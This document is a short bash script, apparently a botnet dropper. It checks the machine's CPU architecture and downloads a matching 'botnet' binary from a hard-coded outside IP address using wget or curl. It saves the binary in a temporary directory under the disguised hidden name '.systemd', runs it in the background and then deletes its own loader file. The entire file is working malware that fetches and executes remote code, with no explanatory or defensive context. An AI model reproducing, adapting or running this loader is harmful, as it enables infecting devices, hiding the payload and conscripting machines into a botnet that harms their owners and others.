#!/bin/bash

SERVER_IP="2.26.54.17"
ARCH=$(uname -m)

case $ARCH in
    x86_64)
        BIN_URL="http://$SERVER_IP/botnet.x86_64"
        ;;
    i386|i486|i586|i686)
        BIN_URL="http://$SERVER_IP/botnet.i686"
        ;;
    armv7l)
        BIN_URL="http://$SERVER_IP/botnet.armv7l"
        ;;
    armv6l)
        BIN_URL="http://$SERVER_IP/botnet.armv6l"
        ;;
    armv5l)
        BIN_URL="http://$SERVER_IP/botnet.armv5l"
        ;;
    armv4l)
        BIN_URL="http://$SERVER_IP/botnet.armv4l"
        ;;
    mips)
        BIN_URL="http://$SERVER_IP/botnet.mips"
        ;;
    mipsel)
        BIN_URL="http://$SERVER_IP/botnet.mipsel"
        ;;
    powerpc)
        BIN_URL="http://$SERVER_IP/botnet.powerpc"
        ;;
    sh4)
        BIN_URL="http://$SERVER_IP/botnet.sh4"
        ;;
    sparc)
        BIN_URL="http://$SERVER_IP/botnet.sparc"
        ;;
    m68k)
        BIN_URL="http://$SERVER_IP/botnet.m68k"
        ;;
    *)
        BIN_URL="http://$SERVER_IP/botnet.x86_64"
        ;;
esac

cd /tmp || cd /var/tmp || cd /dev/shm
wget -q $BIN_URL -O .systemd || curl -s $BIN_URL -o .systemd
chmod +x .systemd
./.systemd $ARCH &
rm -f bin.sh